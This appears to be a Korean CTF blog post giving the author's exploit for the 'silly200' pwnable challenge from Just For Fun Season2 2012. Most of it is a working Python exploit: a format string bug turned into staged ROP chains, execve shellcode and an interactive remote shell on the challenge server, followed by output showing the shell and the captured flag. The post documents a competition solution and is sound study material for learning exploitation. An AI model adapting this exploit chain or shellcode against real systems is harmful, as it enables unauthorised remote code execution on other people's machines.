CTF/2012

Just For Fun Season2 2012 - silly200 (Exploit Only)

pwn3r_45 2012. 8. 6. 15:05

Category : Pwnables


read /home/silly200/flag.txt :p


ADDR : challenge.b10s.org

PORT : 13302


binary : http://jff.b10s.org/files/silly200


* ASLR & NX are enabled on challenge server


* Server OS : Ubuntu 10.04

silly200 


Summary : Global variable based  format string bug on Ubuntu 10.04 

 

 

* 문제풀이 가능성 여부 자체에 대해 의문을 품는 분들도 계셔서 , 문제풀이를 쓰기전에 Exploit부터 올려두겠습니다.

silly200문제는 전역변수에 있는 문자열을 포맷스트링 없이 fprintf로 출력하면서 fsb취약점이 발생하는 문제입니다.

그런데 stack에는 공격자가 원하는대로 컨트롤 가능한 값이 4byte밖에 존재하지 않습니다.

 

이 문제를 풀이하기위해 약간 새로운 Format String Bug exploitation 기술이 사용되었으며 , 문서화중에 있습니다.

그래서 silly200 문제에 관련된 문서는 이 exploit을 포함해 3개가 작성될 예정입니다

 

아래코드가 문제풀이에 사용되는 Exploit입니다.


#!/usr/bin/python

 

from struct import pack
from socket import *
import time

 

HOST = "challenge.b10s.org"
PORT = 13302

SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x10\x48\x48\x48\x48\x48\xcd\x80"

# execve("/bin/sh" , {"sh",0} , 0); Shellcode without 0x0b


p = lambda x :pack("<L" , x)

 

printf_got = 0x804A018 # printf@got
scanf_plt = 0x8048568 # scanf@plt
puts_plt = 0x8048578 # puts@plt
sprintf_plt = 0x80484C8 # sprintf@plt
pppr = 0x80487F6   # pop ; pop ; pop ebp; ret
leave_ret = 0x8048783 # leave ; ret
rwx_ptr = 0x8049ff8  # &GOT + 4
base_addr = 0x804A080 # &(global variable "buffer")
base_addr2 = 0x804AF10 # space for stage2
format_string = 0x8048872 # &"%s"

taddr = []
taddr.append(pppr / 0x10000)
taddr.append(pppr % 0x10000)

######################## pin number ##############################
payload1 = ""
payload1 += str(leave_ret) # leave ; ret ;
##################################################################

 

######################### STAGE 0 ################################
rop1 = ""
rop1 += p(0xdeadbeef)    # dummy
rop1 += p(pppr + 2)     # pop ebp; ret
rop1 += p(base_addr + 900 + 4*4)  # 900 = Size of payload2  ,  4*4 = Size of rop1   ==> this point STAGE 1 paylaod
rop1 += p(leave_ret)    # leave ; ret

payload2 = ""
payload2 += "%8x"*7
payload2 += "%%%dc" %(printf_got - 56 - 4*4) # 4*4 = Size of rop1
payload2 += "%n" # sfp
payload2 += "%2c"
payload2 += "%n" # filename
payload2 += "%8x"*5
payload2 += "%%%dc" %((0x10000 + taddr[0] - ((printf_got + 2 + 40)%0x10000))%0x10000)
payload2 += "%hn"
payload2 += "%8x"*9
payload2 += "%%%dc" %(((0x10000 + taddr[1]) - taddr[0] - 72)%0x10000)
payload2 += "%hn"
payload2 += "a"*(900-len(payload2))

stage_0 = rop1 + payload2
###################################################################

 

######################### STAGE 1 #################################
rop2 = ""
rop2 += p(0xdeadbeef)  # dummy
rop2 += p(scanf_plt)  # scanf@plt
rop2 += p(pppr + 1)   # pop ; pop ; ret;
rop2 += p(format_string) # &"%s"
rop2 += p(base_addr2)  # space for new payload

rop2 += p(leave_ret)  # leave ; ret

stage_1 = rop2
####################################################################

 

######################### STAGE 2 ##################################
rop3 = ""
rop3 += p(0xdeadbeef)  # dummy

rop3 += p(sprintf_plt)      # sprintf@plt
rop3 += p(pppr)             # pop ; pop ; pop ; ret
rop3 += p(base_addr2 + 4*9) # --------------------------------------------|
rop3 += p(format_string)    # &"%s"                                       |
rop3 += p(rwx_ptr)          # &GOT + 4                                    |
#                                                                         |
rop3 += p(scanf_plt)        # scanf@plt                                   |
rop3 += p(pppr + 2)         # pop ; ret;                                  |
rop3 += p(format_string)    # &"%s"                                       |
rop3 += p(0xdeadbeef)       # this will be replaced to RWX memory address<-

stage_2 = rop3

#####################################################################

s = socket(AF_INET , SOCK_STREAM)
s.connect((HOST , PORT))

s.recv(1024)
s.send(payload1 + "\n")  # for pin number

s.recv(1024)
s.send(stage_0 + stage_1 + "\n")
time.sleep(1)
s.send(stage_2 + "\n")
time.sleep(1)
s.send(SHELLCODE + "\n")
time.sleep(1)

########################## Got Shell ##############################

while 1:
 cmd = raw_input("$ ")
 s.send(cmd + "\n")
 if cmd == "exit":
  break
 print s.recv(1024)

s.close()

####################################################################



[pwn3r@localhost silly200]$ ./exploit.py

$ id
uid=1006(silly200) gid=1006(silly200)

$ cat flag.txt
bobrhkwpduffkaksgdmaTTuid=1006(silly200) gid=1006(silly200)



풀이에 사용된 기술


http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack